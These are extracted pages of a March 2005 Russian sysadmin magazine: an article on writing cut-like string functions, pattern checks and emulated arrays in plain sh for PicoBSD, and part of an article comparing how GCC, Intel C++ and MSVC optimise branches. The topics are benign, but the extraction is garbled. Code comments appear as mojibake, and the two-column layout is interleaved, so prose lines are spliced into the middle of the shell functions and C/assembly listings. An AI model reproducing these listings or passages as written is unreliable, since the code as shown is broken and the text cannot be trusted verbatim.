POD-документов в форматы PostScript и PDF. Коснусь кон-
вертирования в такие форматы, как Microsoft Word Document
и RTF. Расскажу о средствах автоматической проверки пра-
вильности POD-синтаксиса. И поделюсь своими мыслями
о перспективах развития POD и о том, каких усовершен-
ствований можно ждать от будущих версий.

№3, март 2005 81

 программирование
ПРОГРАММИРОВАНИЕ НА SHELL
В ЭКСТРЕМАЛЬНЫХ УСЛОВИЯХ
Эта статья описывает нетривиальные способы использо-
вания программной оболочки sh для создания скриптов.
Например, реализацию на sh простого аналога grep.
Зачем это нужно? В случае, если вы крайне ограниче-
ны в дисковом пространстве или объеме памяти, которые
вы можете использовать для прикладных программ. В моей
ситуации при создании системы на базе PicoBSD свобод-
ного места на дискете было крайне мало, чтобы записать
туда стандартные утилиты. Все скрипты рассчитаны и пи-
сались для использования в PicoBSD/FreeBSD и использу-
ют возможности стандартного интепретатора /bin/sh.
Реализация шаблонов
(regular expression) в sh
Иногда бывает необходимо сравнить текстовые данные с
шаблоном или выделить оттуда какую-то часть. Для этого
обыкновенно используются sed, awk или perl – в зависимо-
сти от пристрастий программиста и сложности задачи. Од-
нако когда вы ограничены объемом памяти, для простых за-
дач крайне нецелесообразно использовать отдельные ути-
литы. Перед дальнейшим чтением обязательно ознакомь-
тесь с разделом Parameter Expansion в руководстве по sh(1).
Ниже приведены примеры, как эмулировать утилиту cut
при помощи скриптов и функций sh.
Все описанные функции возвращают результат в гло-
бальной переменной result. В случае удачного завершения
код выхода у функций равен 0, и имеет ненулевое значе-
ние, если произошла ошибка. Если результат функции не
определен или функция ничего не возвращает, то она при-
сваивает переменной result пустую строку.
cut_atomic
Функция cut_atomic сканирует строку слева и удаляет все
символы от первого вхождения разделителя до конца стро-
ки. Первый аргумент функции – собственно сам раздели-
тель. Это может быть один символ, класс символов (character
82
ГАСПАР ЧИЛИНГАРОВ
class, задается при помощи квадратных скобок [ ]) или стро-
ка. Все последующие аргументы воспринимаются как стро-
ка, которая должна быть обработана. Если передавать стро-
ку без использования одинарных('') или двойных кавычек(«»),
то sh сам разобъет ее на подстроки, используя свой разде-
литель входных полей (задается в переменной IFS), что не
всегда желательно. Шаблоны в sh всегда «жадные», т.е. пы-
таются соответствовать максимальному количеству симво-
лов, поэтому если вы передаете как разделитель символ *,
результаты могут быть непредсказуемые. Знак «?» можно
использовать в разделителе для обозначения любого сим-
вола.
cut_atomic () {
local DELIM STRING
# ðàçäåëèòåëü ìîæåò áûòü ëþáîé ñòðîêîé, íå òîëüêî îäèí ñèìâîë
DELIM="$1"
shift
# îñòàâøèåñÿ àðãóìåíòû
STRING=$*
result=${STRING%%${DELIM}*}
return 0
}
В данном случае запись ${переменная%%шаблон} уда-
ляет наибольший возможный суффикс из строки – то есть
остаются только символы с начала строки до первого вхож-
дения разделителя.
Аналог cut(1)
Функция cut работает аналогично вызову утилиты:
cut -d${ðàçäåëèòåëü} -f${íà÷àëüíîå_ïîëå} -${êîíå÷íîå_ïîëå}
Входная строка разбивается на подстроки с использо-
ванием $разделитель, после чего возвращаются поля с но-
мерами от ${начальное_поле} до ${конечное_поле}. Первый
аргумент функции – разделитель полей, второй и третий
параметры – номер начального и конечного поля. Все ос-
 программирование
тавшиеся аргументы – обрабатываемая строка. Функция чуть extract_manufacturer "$S"
удобнее в использовании, чем утилита cut, так как в каче- echo "manufacturer code: $result"
стве разделителя может использоваться не только один
символ, но и строка или шаблон. Если вам нужно получить Проверка на соответствие шаблону
только одно поле, следует задать одинаковый начальный и Иногда необходимо проверить соответствие строки неко-
конечный индекс. торому шаблону. Одно из основных применений – провер-
ка входных данных. Единственный способ в shell, который
cut () { позволяет проверить, соответствует данная строка шабло-
local DELIM POS1 POS2 STRING STR1 POSTFIX
ну или нет, – это использование оператора case. Для удоб-
DELIM="$1" # ðàçäåëèòåëü ства можно создать вокруг него обертку – «wrapper».
POS1=$2 # íà÷àëüíûé èíäåêñ
POS2=$3 # êîíå÷íûé èíäåêñ Первый аргумент для функции match_pattern – это шаб-
shift 3 лон, которому должна соответствовать строка, а все остав-
STRING=$* # îñòàâøèåñÿ ïàðàìåòðû ôóíêöèè
шиеся аргументы – это обрабатываемая строка. Функция
# åñëè êîíå÷íûé èíäåêñ ìåíüøå íà÷àëüíîãî, match_pattern_strict требует, чтобы вся строка соответство-
# âîçâðàùàåì îøèáêó
if [ $POS2 -lt $POS1 ]; then вала заданному шаблону, а match_pattern мягче – она тре-
result="" бует совпадения с шаблоном лишь части строки. Будьте вни-
return 1 # êîä âûõîäà > 0
fi мательны – чаще всего вам придется заключать шаблон в
одинарные или двойные кавычки, чтобы sh не раскрывал
# óäàëÿåì ïåðâûå ${POS1}-1 ýëåìåíòîâ èç ñòðîêè
I=1 символы подстановки «*» и «?» в шаблоне перед тем, как
while [ $I -lt $POS1 ]; do передать его функции.
STRING=${STRING#*${DELIM}}
I=$(($I+1))
done match_pattern_strict () {
local PATTERN STRING
STR1="$STRING" # çàïîìèíàåì ðåçóëüòàò # äâîéíûå êàâû÷êè îáÿçàòåëüíû, ÷òîáû íå ïðîèñõîäèëî
# ðàñêðûòèå ñèìâîëîâ ïîäñòàíîâêè
# óäàëÿåì âñå ýëåìåíòû âïëîòü äî ïîñëåäíåãî ýëåìåíòà, PATTERN="$1"
# êîòîðûé íàì íóæåí, îò ñòðîêè îñòàâëÿåì ñóôôèêñ, shift
# ñîñòîÿùèé èç íåíóæíûõ ýëåìåíòîâ STRING=$*
while [ $I -le $POS2 ]; do
STRING=${STRING#*${DELIM}} result=""
I=$(($I+1))
done case "$STRING" in
$PATTERN) # ïîëíîå ñîîòâåòñòâèå øàáëîíó
# ó íàñ óæå åñòü íåíóæíûé ñóôôèêñ ñ ïåðåìåííîé return 0
# STRING, óäàëÿåì åãî èç çàïîìíåííîãî ðåçóëüòàòà esac
result=${STR1%${DELIM}${STRING}} return 1
return 0 }
}
match_pattern() {
local PATTERN STRING

Выделение позиционных параметров PATTERN="$1"

shift
Можно использовать функцию set для того, чтобы заменить STRING=$*
список аргументов для данного блока команд и получить
result=""
доступ к позиционным параметрам $1, $2 и так далее. Един-
ственный недостаток такого способа – это невозможность case "$STRING" in
*${PATTERN}*) # ïðîâåðÿåòñÿ ñîîòâåòñòâèå øàáëîíó
избежать раскрытия символов подстановки (wildcards). return 0 # ÷àñòè ñòðîêè
Небольшой пример, как можно использовать этот при- esac
ем для того, чтобы получить первые 3 байта из MAC-адре- return 1
са (код производителя). Переменная IFS (input field separator) }
определяет символ или подстроку, которые будут исполь-
зоваться для разбиения строки на поля. Например, для частичной проверки правильности вво-
да IPv4-адреса можно использовать следующий шаблон:
extract_manufacturer () {
# îïðåäåëÿåì IFS êàê ëîêàëüíóþ ïåðåìåííóþ, ÷òîáû match_pattern_strict '[0-9]*.[0-9]*.[0-9]*.*[0-9]' 192.168.0.1
# åå èçìåíåíèå íå âëèÿëî íà äðóãèå ôóíêöèè
local STR IFS
# çàïîìèíàåì âñå àðãóìåíòû ôóíêöèè â STR
STR=$* Правда, этот шаблон ошибочно сочтет строку «127.0.0.
# óñòàíàâëèâàåì â êà÷åñòâå ðàçäåëèòåëÿ ñèìâîë ':' 0.0.1» правильной, поскольку лишние байты в таком адре-
IFS=':'
# ïðèñâàèâàåì ïîçèöèîííûì ïàðàìåòðàì ñîäåðæèìîå STR се будут соответствовать любому из символов «*» в шаб-
set -- $STR лоне. Для точной проверки следует использовать прием с
result="$1:$2:$3"
return 0 командой set и проверять каждый байт по отдельности.
}

# ïðèìåð èñïîëüçîâàíèÿ ôóíêöèè Организация массивов в sh

S=`ifconfig fxp0` # ïîëó÷èòü ðåçóëüòàò ðàáîòû êîìàíäû ifconfig Один из существенных недостатков sh, который делает его
S=${S##*ether} # ñòåðåòü âïëîòü äî êëþ÷åâîãî ñëîâà ether
неудобным для программирования, это отсутствие масси-

№3, март 2005 83

 программирование
вов – ассоциативных или индексированных. Особенно ост- после чего интерпретирует получившуюся команду присво-
ро ощущается отсутствие двумерных массивов. В загрузоч- ения.
ных скриптах PicoBSD я подглядел интересный способ эму- Символ «\» обязательно должен присутствовать, иначе
лировать массивы в sh. Ниже представлен несколько мо- sh будет выдавать ошибки.
дифицированный вариант. Функция arr_lookup_by_key позволяет обратиться к эле-
Предположим, что мы хотим организовать двухмерный менту ассоциативного массива, зная значение ключа. Она
массив с именем foo. Первый индекс будет цифровой – получает 4 аргумента – имя массива, имя поля, в котором
0,1,..,N, а второй индекс – любая строка без пробелов. То хранится ключ, имя поля, значение которого нужно полу-
есть мы получим элементы массива foo[0][A],foo[0][bar], чить и значение ключа. Код выхода не равен нулю, если не
foo[0][extra],..., foo[10][A],foo[10][bar],foo[10][another] и так да- был найден ключ с таким значением.
лее.
Предположим также, что элементы с индексом «А» ни- # array_name ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß
# ÇÍÀ×ÅÍÈÅ_ÊËÞ×À
когда не могут иметь нулевое значение (пустую строку) и arr_lookup_by_key () {
выберем их в качестве ключа в ассоциативном массиве. local i array kfield vfield kvalue key value
array=$1
Для хранения каждого элемента массива мы создадим со- kfield=$2
ответственно переменные в sh – foo_0_A, foo_0_bar,foo_0_ vfield=$3
kvalue=$4
extra, ..., foo_10_A, foo_10_bar,foo_10_another и т. д.
В каждой строке массива должен быть элемент, играю- i=0
result=""
щий роль ключа, и любое количество элементов, в которых
хранятся данные. Количество дополнительных элементов key="x" # ïðèíóäèòåëüíî çàñòàâèì öèêë âûïîëíèòñÿ
# õîòÿ áû 1 ðàç
в каждой строке может быть произвольным. После этого while [ "$key" != "" ]; do
можно создать несколько функций для удобной работы с # êîíñòðóèðóåì èìÿ ïåðåìåííîé
eval key=\${${array}_${i}_${kfield}}
таким представлением данных. # åñëè çíà÷åíèå êëþ÷à ñîâïàëî, âîçâðàùàåì çíà÷åíèå
Функция arr_count возвращает количество элементов в if [ "$key" = "$kvalue" ]; then
# êîíñòðóèðóåì èìÿ âîçâðàùàåìîãî ïîëÿ
массиве. Первый аргумент функции – название массива eval result=\${${array}_${i}_${vfield}}
(фактически префикс для именования переменных), вто- return 0
fi
рой аргумент – название ключа в массиве. i=$(($i+1))
done
# ïîñ÷èòàòü êîëè÷åñòâî ýëåìåíòîâ â ìàññèâå
# arr_count ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À # öèêë çàêîí÷èëñÿ – ñëåäîâàòåëüíî òàêîãî çíà÷åíèÿ
# êëþ÷à íåò
arr_count () { return 1
local ARRNAME KEYNAME VAL I
ARRNAME=$1 # èìÿ ìàññèâà }
KEYNAME=$2 # èìÿ êëþ÷à â ìàññèâå
Функция arr_lookup_by_index позволяет получить значе-
I=0
result="" ние поля, зная численный индекс.
# îñíîâíàÿ ìàãèÿ ïðîèñõîäèò çäåñü – â êîìàíäå eval На вход передается 4 элемента – имя массива, имя поля,
# ôîðìèðóåòñÿ ïðàâèëüíîå íàçâàíèå ïåðåìåííîé,
# êîòîðàÿ ñîîòâåòñòâóåò ýëåìåíòó ìàññèâà в котором хранится ключ, имя поля, значение которого нуж-
eval VAL=\${${ARRNAME}_${I}_${KEYNAME}} но получить, и индекс. Если элемента с таким индексом
if [ "x$VAL” = "x" ];then
# åñëè ïåðâûé æå êëþ÷ ïóñòîé (ò.å. foo[0][A]) нет – т.е. поле ключа пустое, функция завершается с ко-
# ìû ïðåäïîëàãàåì, ÷òî òàêîé ìàññèâ íå ñóùåñòâóåò дом выхода 1. В противном случае значение поля возвра-
return 1
fi щается в переменной result.
while [ "x$VAL" != "x" ] ; do
I=$(($I+1)) # arr_lookup_by_index ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß
eval VAL=\${${ARRNAME}_${I}_${KEYNAME}} # ÈÍÄÅÊÑ
done
arr_lookup_by_index () {
local i array index vfield value kfield
result=$I array=$1
return 0
} kfield=$2
vfield=$3
kvalue=$4
Конструкция [ «x$VAL» = «x» ] обеспечивает коррект-
ное сравнение, если $VAL будет иметь пустое значение. eval key=\${${array}_${index}_${kfield}}
Если написать [ $VAL = «» ], то при пустой переменной $VAR if [ "$key" = "" ]; then
это будет раскрыто оболочкой в конструкцию [ = «» ], что # âîçâðàòèòü êîä îøèáêè, ò.ê. îáíàðóæåí ïóñòîé êëþ÷
return 1
приведет к ошибке. fi
Надо либо писать [ «$VAL» = «» ], либо просто приучить
eval result=\${${array}_${index}_${vfield}}
себя к [ «x$VAL» = «x» ], что переносимо на большее коли- return 0
чество платформ/версий sh. }
Для формирования имени переменной динамически при-
ходится использовать команду оболочки eval. Сперва sh под- Функция arr_set_by_index используется для добавления
ставляет значение ARRNAME, I и KEYNAME и получает: данных в массив. При этом одновременно устанавливает-
ся и значение ключа, и значение поля, которое ему соот-
eval VAL=\${foo_1_bar}, ветствует.

84
 программирование
# arr_set_by_index ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß При перенаправлении надо проявить аккуратность. Если
# ÍÎÌÅÐ_ÈÍÄÅÊÑÀ ÇÍÀ×ÅÍÈÅ_ÊËÞ×À ÇÍÀ×ÅÍÈÅ_ÏÎËß перенаправить поток на вход команды read, a не на вход
arr_set_by_index() {
local i array kfield vfield index kvalue value блока while, скажем вот так:
array=$1
kfield=$2
vfield=$3 while read name pass uid gid gcos homedir shell junk ↵
index=$4 < /etc/passwd; do
kvalue=$5 ...
shift 5 done
vvalue=$*

i=0 то цикл будет выполняться бесконечное число раз, т.к. на

result="" каждой итерации команда read будет читать первую строч-
eval ${array}_${index}_${kfield}=${kvalue} ку файла.
eval ${array}_${index}_${vfield}=${vvalue} Другая задача, которая часто встречается, – обработка
return 0
} результатов выполнения другой команды. Если использо-
вать конвейерную обработку(pipelines) в sh, то можно по-
Функция arr_set_by_key используется для добавления или пытаться написать следующий кусок кода:
изменения данных в массиве по существующему ключу.
cat /etc/passwd | while read name pass uid gid gcos ↵
# arr_set_by_key ÈÌß_ÌÀÑÑÈÂÀ ÈÌß_ÊËÞ×À ÈÌß_ÏÎËß homedir shell junk; do
# ÇÍÀ×ÅÍÈÅ_ÊËÞ×À ÇÍÀ×ÅÍÈÅ_ÏÎËß echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|"
i=$(($i+1))
arr_set_by_key() { done
local i array kfield vfield kvalue vvalue
array=$1 echo "total lines: $i"
kfield=$2
vfield=$3 Мы будем получать правильно разбитые на поля запи-
kvalue=$4
shift 4 си, однако последняя команда выдаст количество строк
vvalue=$* равным 0. На первый взгляд это странно, но если вспом-
result="" нить, что все команды внутри блока while; do ...; done вы-
i=0 полняются в отдельном дочернем процессе sh, чтобы воз-
eval key=\${${array}_${i}_${kfield}} можно было бы перенаправить туда результат выполнения
while [ "x$key" != "x" ]; do конвеера, то тогда все становится на свои места. Передать
eval key=\${${array}_${i}_${kfield}}
if [ "x$key" = "x$kvalue" ]; then переменные из дочернего процесса в основной процесс sh
break невозможно. Поэтому придется переписать этот код так,
fi
i=$(($i+1)) чтобы тело цикла while выполнялось в контексте основного
done процесса. Для этого можно использовать here-doc-текст и
arr_set_by_index $array $kfield $vfield $i $kvalue $vvalue подставлять туда результат выполнения команды при по-
return 0 мощи обратных кавычек (backtricks, ``).
}

Таким образом, для добавления нового элемента в мас- IFS=:

i=0
сив нужно сперва вызвать аrr_count, получить количество while read name pass uid gid gcos homedir shell junk; do
существующих строк и потом добавить в конец массива но- echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|"
i=$(($i+1))
вую строку. После этого можно установить уже все остав- done <<EOF
шиеся поля массива, обращаясь не по индексу, а по ключу. `cat /etc/passwd | head`
EOF

Построчная обработка файлов Таким образом мы переместили выполнение предыду-

Как правило, если нужно обработать файл построчно, раз-
бивая каждую строку на поля, используется awk или perl.
Но не всегда под руками есть эти программы, поэтому мож-
но попытаться сэмулировать их, имея только sh.
Воспользуемся способностью команды read разбивать
входные данные по разделителю и приписывать значения
подстрок переменным. В случае окончания потока read вы-
дает ненулевой код выхода, поэтому ее можно использо-
вать так же, как условие окончания цикла.
Пример скрипта для построчного чтения файла /etc/
passwd.
IFS=:
i=0
while read name pass uid gid gcos homedir shell junk; do
echo "$i|$name|$uid|$gid|$gcos|$homedir|$shell|$junk|"
i=$(($i+1))
done < /etc/passwd
echo "total lines: $i"
щих команд конвейера в отдельный(ые) процесс(ы), а их
результат будет передаваться на стандартный ввод (stdin)
блока while. После этого команда while правильно посчита-
ет количество строк в файле. Также можно объединить в
here-doc результат выполнения нескольких команд или даже
поместить туда какие-то статические данные.
Таким образом, используя приведеные выше приемы,
можно заменить часто используемые утилиты на их анало-
ги, написанные на sh. Особенно актуально эта задача сто-
ит при создании образа системы, загружаемой с дискеты,
или с твердотельных носителей (например, Compact Flash).
Описанные функции могут облегчить создание скриптов для
конфигурации и интерактивной настройки таких систем. С
другой стороны, используя встроенные возможности sh,
можно ускорить выполнение скриптов, поскольку запуск
внешних утилит может быть существенно медленее, чем
вызов определенной пользователем функции sh.

№3, март 2005 85

 программирование
ТЕХНИКА ОПТИМИЗАЦИИ ПОД LINUX
ЧАСТЬ II – ВЕТВЛЕНИЯ
Оптимизация ветвлений/branch
Ветвления (по-английски branch, они же условные/безуслов-
ные переходы) относятся к фундаментальным основам лю-
бого языка, без которых не обходится ни одна программа.
Даже «hello, world!»! Ведь выход из функции main – это тоже
ветвление, пусть и неявное (однако ж процессор синтакси-
сом языка не проведешь!). А сколько ветвлений содержит
сама функция printf? А библиотека времени исполнения?
Суперскалярные микропроцессоры, построенные по
конвейерной архитектуре (а все современные микропроцес-
соры именно так и устроены), быстрее всего выполняют ли-
нейный код и ненавидят ветвления. В лучшем случае они
дезориентируют процессор, слегка приостанавливая выпол-
нение программы, в худшем же – полностью очищают кон-
вейер. А на последних Pentium он очень длинный (и с каж-
дой последующей моделью становится все длиннее и длин-
нее). Быстро его не заполнишь… на это может уйти не одна
сотня тактов, что вызовет обвальное падение производитель-
ности.
Оптимизация переходов дает значительный выигрыш,
особенно если они расположены внутри циклов (кстати го-
воря, циклы – это те же самые переходы), поэтому качество
компилятора не в последнюю очередь определяется его уме-
нием полностью или частично избавляться от ветвлений.
Выравнивание переходов
Процессоры, основанные на ядрах Intel P6 и AMD K6, не тре-
буют выравнивания переходов, за исключением того случая,
когда целевая инструкция или сама команда перехода рас-
щепляются границей кэш-линейки пополам, в результате чего
наблюдается значительное падение производительности.
Наибольший ущерб причиняют переходы, находящиеся в
циклах с компактным телом и большим уровнем вложения.
86
Сегодня мы продолжим
сравнение Linux-компиляторов,
начатое в прошлом номере журнала,
и рассмотрим оптимизацию условных
переходов и операторов типа switch.
Механизмы их трансформации достаточно
многочисленны и разнообразны. За последнее
время было предложено множество новых идей,
воплощенных в компиляторах GCC 3.3.4
и Intel C++ 8.0 (сокращенно icl), однако древний
Microsoft Visual C++ 6.0 (сокращенно msvc)
не сдает своих позиций, так что не спешите
списывать его в утиль и сдавать на свалку.
КРИС КАСПЕРСКИ
Чтобы падения производительности не происходило, не-
которые компиляторы прибегают к выравниванию, распола-
гая инструкции перехода по кратным адресам и заполняют
образующиеся «дыры» незначащими инструкциями, такими
как XCHG EAX, EAX (обмен содержимого регистров EAX ме-
стами) или MOV EAX, EAX (пересылка содержимого EAX в
EAX). Это увеличивает размер кода и несколько снижает
его производительность, поэтому бездумное (оно же «аг-
рессивное») выравнивание только вредит.
Легко показать, что машинная команда требует вырав-
нивания в тех, и только тех случаях, когда условие:
((addr % cache_len + sizeof(ops)) > cache_len)
становится истинным. Здесь: addr – линейный адрес инст-
рукции, cache_len размер кэш-линейки (в зависимости от
типа процессора равный 32, 64 или 128 байтам), ops – сама
машинная инструкция. Количество выравнивающих байт рас-
считывается по формуле:
(cache_len - (addr % cache_len))
Именно так поступают все программисты, владеющие
Ассемблером, но только не компиляторы! MSVC и icl вооб-
ще не выравнивают переходов, а gcc выравнивает целе-
вую инструкцию на фиксированную величину, кратную сте-
пени двойки (т.е. 2, 4, 8…), что является крайне неэффек-
тивной стратегией, однако даже плохая стратегия все же
лучше, чем совсем никакой. Кстати говоря, именно по этой
причине, компиляторы msvc и icl генерируют неустойчивый
код, точнее код с «плавающей» производительностью, бы-
стродействие которого главным образом зависит от того,
расщепляются ли глубоко вложенные переходы или нет. А

это в свою очередь зависит от множества трудно прогнози-
руемых обстоятельств, включающих фазу луны и количе-
ство осадков.
Учитывая, что средняя длина x86-инструкций составляет
3.5 байта, целесообразнее всего выравнивать переходы по
границе четырех байт (ключ -falign-jumps=4 компилятора gcc).
Ключ -fno-align-jumps (или эквивалентный ему -falign-jumps=1)
отключает выравнивание. Ключ falign-jumps=0 задейству-
ет выравнивание по умолчанию, автоматически выбирае-
мое компилятором в зависимости от типа процессора.
Ëèñòèíã 1. Ôîðìóëà äëÿ ðàñ÷åòà îïòèìàëüíîé êðàòíîñòè
âûðàâíèâàíèÿ äëÿ ïðîöåññîðîâ Intel Pentium II è âûøå
if ((addr % cache_len + sizeof(ops)) > cache_len)
align = cache_len – (addr % cache_len);
Частичное вычисление условий
«Летят два крокодила – один квадратный, другой тоже на
север», – вот хороший пример техники быстрого булевого
вычисления (оно же «частичное вычисление условий»,
«Partial evaluation of test conditions» или «short-circuiting»).
Собственно, ничего «быстрого» в нем нет. Если первое из
нескольких условий, связанных оператором AND, ложно (где
вы видели квадратных крокодилов?), остальные уже не вы-
числяются. Соответственно если первое из нескольких ус-
ловий, связанных оператором OR, истинно, вычислять ос-
тальные нет нужды. Это значит, что в выражениях вида
(1 || f(x)) или (0 && f(x)) функция f(х) просто не вызывается.
И это отнюдь не свойство оптимизатора (как утвержда-
ют некоторые рекламные буклеты), а требование языка, без
которого ветвления вида: if (x && (y/x)) были бы невозмож-
ны, поскольку вычислять значение выражения (y/x) можно
тогда и только тогда, когда x=!0, т.е. выражение (x) истин-
но. В противном случае процессор выбросит исключение и
выполнение программы будет остановлено. Поэтому такая
стратегия поведения сохраняется даже при отключенном
оптимизаторе. Все три рассматриваемых компилятора под-
держивают быстрое булевое вычисление.
Ëèñòèíã 2. Åñëè âûðàæåíèå (a == b) èñòèííî, âûðàæåíèå
(c == d) óæå íå ïðîâåðÿåòñÿ
if ((a == b) || (c == d))…
Удаление избыточных проверок
Небрежное кодирование часто приводит к появлению избы-
точных или даже заведомо ложных проверок, полностью или
частично дублирующих друг друга, например: «if (a > 9) …
if (a > 6)…». Очевидно, что вторая проверка лишняя и icl
благополучно удаляет ее. Остальные рассматриваемые
компиляторы такой способностью не обладают, послушно
генерируя следующий код.
Ëèñòèíã 3. Íåîïòèìèçèðîâàííûé âàðèàíò
if (n > 10) a++; else return 0;
if (n > 5) a++; else return 0; // èçáûòî÷íàÿ ïðîâåðêà
if (n < 2) a++; else return 0; // çàâåäîìî ëîæíà ïðîâåðêà
Ëèñòèíã 4. Îïòèìèçèðîâàííûé âàðèàíò
if (n > 10) a+=2; else return 0;
№3, март 2005
программирование
Удаление проверок нулевых указателей
Программисты до сих пор не могут определиться, кто дол-
жен осуществлять проверку аргументов – вызывающая или
вызываемая функция. Многие стандарты кодирования пред-
писывают выполнять такую проверку обеим:
Ëèñòèíã 5. Íåîïòèìèçèðîâàííûé âàðèàíò
f1(int *p)
{
// ïðîâåðêà ¹2
// (ìîæåò áûòü óäàëåíà êîìïèëÿòîðîì
// ò.ê. åé ïðåäøåñòâîâàëà çàïèñü ïî óêàçàòåëþ)
if (p) return *p+1; else return –1;
}
f2(int *p)
{
// ïðîâåðêà ¹1/çàïèñü ïî óêàçàòåëþ
if (p) *p = 0x69; else return -1;
return f1(p);
}
Лишние проверки увеличивают размер кода и замедля-
ют его выполнение (особенно если находятся глубоко в цик-
ле), поэтому компилятор gcc поддерживает специальный
ключ, fdelete-null-pointer-checks, «вычищающий» их из про-
граммы. Вся соль в том, что x86-процессоры (как и боль-
шинство других) на аппаратном уровне отслеживают обра-
щения к нулевым указателям, автоматически выбрасывая
исключение, если такое обращение действительно про-
изошло. Поэтому, если проверке на «легитимность» указа-
теля предшествует операция чтения/записи по нему, эту
проверку можно не выполнять.
Рассмотрим, листинг 5. Сначала проходит проверка ука-
зателя (проверка №1), потом в него записывается число
0x69, и указатель передается функции f1, выполняющей по-
вторную проверку (проверка №2). Компилятор видит, что
вторая проверка осуществляется уже после обращения к
указателю (естественно, чтобы он мог это осознать, функ-
ция f1 должна быть встроенной или задействован режим
глобальной оптимизации) и рассуждает так: если операция
присвоения *p = 0x69 проходит успешно и процессор не
выбрасывает исключения, то указатель p гарантированно
не равен нулю, и в проверке нет никакой нужды. Если же
указатель равен нулю, тогда при обращении к нему про-
цессор выбросит исключение и до проверки дело все рав-
но не дойдет.
Так зачем же тогда ее выполнять? Компиляторы msvc и
icl такой техники оптимизации не поддерживают. Правда, в
режиме глобальной оптимизации, icl может удалять несколь-
ко подряд идущих проверок (при встраивании функций это
происходит достаточно часто), поскольку это является час-
тным случаем техники удаления избыточных проверок, од-
нако ситуацию «проверка/модификация указателя/обраще-
ние к указателю/проверка» icl уже не осилит. А вот gcc
справляется с ней без труда!
Совмещение проверок
Совмещение проверок очень похоже на повторное исполь-
зование подвыражений: если одна и та же проверка при-
сутствует в двух или более местах и отсутствуют паразит-
ные зависимости по данным, все проверки можно объеди-
нить в одну:
87
 программирование
Ëèñòèíã 6. Íåîïòèìèçèðîâàííûé âàðèàíò, 2 ïðîâåðêè } // lab_3: goto lab_1
// lab_4:
if (CPU_TYPE == AMD) // ïðîâåðêà
x = AMD_f1(y); Аналогичным способом осуществляется и оптимизация
else условных/безусловных переходов, указывающих на другой
x = INTEL_f1(y);
… условный переход. Вот, посмотрите:
if (CPU_TYPE == AMD) // åùå îäíà ïðîâåðêà
a = AMD_f2(b);
else Ëèñòèíã 12. Íåîïòèìèçèðîâàííûé âàðèàíò
a = INTEL_f2(b);
jmp lab_1 ; // ïåðåõîä íà óñëîâíûé ïåðåõîä
Ëèñòèíã 7. Îïòèìèçèðîâàííûé âàðèàíò, òîëüêî îäíà ïðîâåðêà …
lab_1: jnz lab_2
if (CPU_TYPE == AMD) // òîëüêî îäíà ïðîâåðêà
{ Ëèñòèíã 13. Îïòèìèçèðîâàííûé âàðèàíò
x = AMD_f1(y);
a = AMD_f2(b); jnz lab_2 ; // îïòèìèçèðîâàíî
} …
else lab_1: jnz lab_2
{
x = INTEL_f1(y); Заметим, что в силу ограниченной «дальнобойности»
a = INTEL_f2(b); (см. врезку «Трансляция кротких условных переходов») ус-
}
ловных переходов, в некоторых случаях длину цепочки при-
Из всех трех компиляторов совмещать проверки умеет ходится не только уменьшать, но и увеличивать, прибегая
только icl, да и то не всегда. к следующему трюку:

Сокращение длины маршрута Ëèñòèíã 14. Òðàíñôîðìàöèÿ óñëîâíûõ ïåðåõîäîâ, äî êîòîðûõ

ïðîöåññîð íå ìîæåò «äîòÿíóòüñÿ»
Если один условный или безусловный переход указывает
на другой безусловный переход, то все три рассматривае- jz far_far_away jnz next_lab
———òðàíñôîðìàöèÿ—————> jmp far_far_away
мых компилятора автоматически перенаправляют первый next_lab:
целевой адрес на последний, что и демонстрирует следую-
щий пример: Условный или безусловный переход, указывающий на
выход из функции, заменяется всеми тремя компиляторами
Ëèñòèíã 8. Íåîïòèìèçèðîâàííûé âàðèàíò на непосредственный выход из функции, при условии, что
goto lab_1 ; // ïåðåõîä ê ìåòêå lab_1 код-эпилог достаточно мал и накладные расходы на его дуб-
// íà áåçóñëîâíûé ïåðåõîä ê ìåòêå lab_2 лирование невелики:
….
lab_1: goto lab_2 ; // ïåðåõîä ê ìåòêå lab_2
…. Ëèñòèíã 15. Íåîïòèìèçèðîâàííûé âàðèàíò
lab_2:
f(int a, int b)
Ëèñòèíã 9. Îïòèìèçèðîâàííûé âàðèàíò {
while(a--)
goto lab_2 ; // ñðàçó ïåðåõîäèì ê ìåòêå lab_2, {
// ìèíóÿ lab_1 if (a == b) break; // óñëîâíûé ïåðåõîä íà return a;
…. }
lab_1: goto lab_2 ; // ïåðåõîä ê ìåòêå lab_2 return a;
…. }
lab_2:
Ëèñòèíã 16. Îïòèìèçèðîâàííûé âàðèàíò
Разумеется, оператор goto не обязательно должен при-
f(int a, int b)
сутствовать в программном коде в явном виде. Он вполне {
может быть «растворен» в цикле: while(a--)
{
if (a == b) return a; //íåïîñðåäñòâåííûé return a;
Ëèñòèíã 10. Íåîïòèìèçèðîâàííûé âàðèàíò }
return a;
while(a) // lab_1: if (!a) goto lab_4 }
{
while(b) // lab_2: if (!b) goto lab_3
/* ïåðåõîä íà áåçóñëîâíûé ïåðåõîä */
{ Уменьшение количества ветвлений
/* êîä öèêëà */
} // goto lab_2 Все три компилятора просматривают код в поисках услов-
} // lab_3: goto lab_1 ных переходов, перепрыгивающих через безусловные
// lab_4:
(conditional branches over unconditional branches) и оптими-
После оптимизации этот код будет выглядеть так: зируют их: инвертируют условный переход, перенацеливая
его на адрес безусловного перехода, а сам безусловный
Ëèñòèíã 11. Îïòèìèçèðîâàííûé âàðèàíò переход удаляют, уменьшая тем самым количество ветв-
while(a) // lab_1: if (!a) goto lab_4 лений на единицу:
{
while(b) // lab_2: if (!b) goto lab_1 Ëèñòèíã 17. Íåîïòèìèçèðîâàííûé âàðèàíò
/* îïòèìèçèðîâàíî */
{
/* êîä öèêëà */ if (x) a=a*2; else goto lab_1;
// äâîéíîå âåòâëåíèå if – else
} // goto lab_2

88
 программирование
b=a+1 ветствуют различным отношениям чисел и за каждый из
lab_1: c=a*10 них отвечает «свой» условный переход. Например:
Ëèñòèíã 18. Îïòèìèçèðîâàííûé âàðèàíò
Ëèñòèíã 21. Ñðàâíåíèå äâóõ ÷èñåë íà ÿçûêå àññåìáëåðà
